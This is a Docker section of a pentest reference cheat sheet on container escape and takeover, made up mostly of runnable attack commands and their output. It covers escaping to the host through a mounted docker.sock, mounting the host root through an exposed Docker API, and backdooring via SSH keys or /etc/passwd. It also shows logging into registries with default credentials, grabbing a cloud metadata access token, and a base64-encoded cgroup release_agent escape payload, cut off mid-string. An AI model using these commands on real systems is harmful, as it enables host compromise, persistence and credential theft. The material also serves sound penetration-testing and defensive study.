Internal Network Pentest and IR Reference: docker

# Docker

> Docker is a set of platform as a service (PaaS) products that uses OS-level virtualization to deliver software in packages called containers.

## Summary

- [Tools](#tools)
- [Mounted Docker Socket](#mounted-docker-socket)
- [Open Docker API Port](#open-docker-api-port)
- [Insecure Docker Registry](#insecure-docker-registry)
- [Exploit privileged container abusing the Linux cgroup v1](#exploit-privileged-container-abusing-the-linux-cgroup-v1)
    - [Abusing CAP_SYS_ADMIN capability](#abusing-cap_sys_admin-capability)
    - [Abusing coredumps and core_pattern](#abusing-coredumps-and-core_pattern)
- [Breaking out of Docker via runC](#breaking-out-of-docker-via-runc)
- [Breaking out of containers using a device file](#breaking-out-of-containers-using-a-device-file)
- [References](#references)

## Tools

- [kost/dockscan](https://github.com/kost/dockscan) : Dockscan is security vulnerability and audit scanner for Docker installations

    ```powershell
    dockscan unix:///var/run/docker.sock
    dockscan -r html -o myreport -v tcp://example.com:5422
    ```

- [stealthcopter/deepce](https://github.com/stealthcopter/deepce) : Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE)

    ```powershell
    ./deepce.sh 
    ./deepce.sh --no-enumeration --exploit PRIVILEGED --username deepce --password deepce
    ./deepce.sh --no-enumeration --exploit SOCK --shadow
    ./deepce.sh --no-enumeration --exploit DOCKER --command "whoami>/tmp/hacked"
    ```

- [orisano/dlayer](https://github.com/orisano/dlayer) : dlayer is docker layer analyzer.

    ```powershell
    docker pull orisano/dlayer
    docker save image:tag | dlayer -i
    ```

- [wagoodman/dive](https://github.com/wagoodman/dive) : A tool for exploring each layer in a docker image

    ```powershell
    alias dive="docker run -ti --rm  -v /var/run/docker.sock:/var/run/docker.sock wagoodman/dive"
    dive <your-image-tag>
    ```

## Mounted Docker Socket

Prerequisite:

- Socker mounted as volume : `- "/var/run/docker.sock:/var/run/docker.sock"`

Usually found in `/var/run/docker.sock`, for example for Portainer.

```powershell
curl --unix-socket /var/run/docker.sock http://127.0.0.1/containers/json
curl -XPOST –unix-socket /var/run/docker.sock -d '{"Image":"nginx"}' -H 'Content-Type: application/json' http://localhost/containers/create
curl -XPOST –unix-socket /var/run/docker.sock http://localhost/containers/ID_FROM_PREVIOUS_COMMAND/start
```

Exploit using [brompwnie/ed](https://github.com/brompwnie/ed)

```powershell
root@37bb034797d1:/tmp# ./ed_linux_amd64 -path=/var/run/ -autopwn=true        
[+] Hunt dem Socks
[+] Hunting Down UNIX Domain Sockets from: /var/run/
[*] Valid Socket: /var/run/docker.sock
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to Autopwn:  /var/run/docker.sock
[*] Getting Docker client...
[*] Successfully got Docker client...
[+] Attempting to escape to host...
[+] Attempting in TTY Mode
chroot /host && clear
echo 'You are now on the underlying host'
chroot /host && clear
echo 'You are now on the underlying host'
/ # chroot /host && clear
/ # echo 'You are now on the underlying host'
You are now on the underlying host
/ # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
```

## Open Docker API Port

Prerequisite:

- Docker runned with `-H tcp://0.0.0.0:XXXX`

```powershell
$ nmap -sCV 10.10.10.10 -p 2376
2376/tcp open  docker  Docker 19.03.5
| docker-version:
|   Version: 19.03.5
|   MinAPIVersion: 1.12
```

Mount the current system inside a new "temporary" Ubuntu container, you will gain root access to the filesystem in `/mnt`.

```powershell
$ export DOCKER_HOST=tcp://10.10.10.10:2376
$ docker run --name ubuntu_bash --rm -i -v /:/mnt -u 0  -t ubuntu bash
or
$ docker -H  open.docker.socket:2375 ps
$ docker -H  open.docker.socket:2375 exec -it mysql /bin/bash
or 
$ curl -s –insecure https://tls-opendocker.socket:2376/secrets | jq
$ curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
```

From there you can backdoor the filesystem by adding an ssh key in `/root/.ssh` or adding a new root user in `/etc/passwd`.

## Insecure Docker Registry

Docker Registry’s fingerprint is `Docker-Distribution-Api-Version` header. Then connect to Registry API endpoint: `/v2/_catalog`.

```powershell
curl https://registry.example.com/v2/<image_name>/tags/list
docker pull https://registry.example.com:443/<image_name>:<tag>

# connect to the endpoint and list image blobs
curl -s -k --user "admin:admin" https://docker.registry.local/v2/_catalog
curl -s -k --user "admin:admin" https://docker.registry.local/v2/wordpress-image/tags/list
curl -s -k --user "admin:admin" https://docker.registry.local/v2/wordpress-image/manifests/latest
# download blobs
curl -s -k --user 'admin:admin' 'http://docker.registry.local/v2/wordpress-image/blobs/sha256:c314c5effb61c9e9c534c81a6970590ef4697b8439ec6bb4ab277833f7315058' > out.tar.gz
# automated download
https://github.com/NotSoSecure/docker_fetch/
python /opt/docker_fetch/docker_image_fetch.py -u http://admin:admin@docker.registry.local
```

Access a private registry and start a container with one of its image

```powershell
docker login -u admin -p admin docker.registry.local
docker pull docker.registry.local/wordpress-image
docker run -it docker.registry.local/wordpress-image /bin/bash
```

Access a private registry using OAuth Token from Google

```powershell
curl http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/email
curl -s http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token 
docker login -e <email> -u oauth2accesstoken -p "<access token>" https://gcr.io
```

## Exploit privileged container abusing the Linux cgroup v1

Prerequisite (at least one):

- `--privileged`
- `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN` flags.

### Abusing CAP_SYS_ADMIN capability

```powershell
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash -c 'echo "cm5kX2Rpcj0kKGRhdGUgKyVzIHwgbWQ1c3VtIHwgaGVhZCAtYyAxMCkKbWtkaXIgL3RtcC9jZ3JwICYmIG1vdW50IC10IGNncm91cCAtbyByZG1hIGNncm91cCAvdG1wL2NncnAgJiYgbWtkaXIgL3RtcC9jZ3JwLyR7cm5kX2Rpcn0KZWNobyAxID4gL3RtcC9jZ3JwLyR7cm5kX2Rpcn0vbm90aWZ5X29uX3JlbGVhc2UKaG9zdF9wYXRoPWBzZWQgLW4gJ3MvLipccGVyZGlyPVwoW14sXSpcKS4qL1wxL3AnIC9ldGMvbXRhYmAKZWNobyAiJGhvc3RfcGF0aC9jbWQiID4gL3RtcC9jZ3JwL3JlbGVhc2VfYWdlbnQKY2F0ID4gL2NtZCA8PCBfRU5ECiMhL2Jpbi9zaApjYXQgPiAvcnVubWUuc2ggPDwgRU9GCnNsZWVwIDMwIApFT0YKc2ggL3J1bm1lLnNoICYKc2xlZXAgNQppZmNvbmZpZyBldGgwID4gIiR7aG9zdF9wYXRofS9vdXRwdXQiCmhvc3RuYW1lID4+ICIke2hvc3RfcGF0aH0vb3V0cHV0IgppZCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKcHMgYXh1IHwgZ3JlcCBydW5tZS5zaCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKX0VORAoKIyMgT